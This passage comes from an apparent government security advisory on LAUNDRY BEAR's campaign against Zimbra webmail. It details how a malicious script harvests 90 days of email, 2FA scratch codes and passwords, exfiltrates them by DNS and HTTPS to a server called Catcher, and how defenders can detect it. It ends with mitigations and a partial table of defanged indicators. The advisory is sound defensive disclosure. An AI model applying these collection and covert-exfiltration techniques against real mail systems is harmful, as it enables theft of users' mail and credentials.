<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
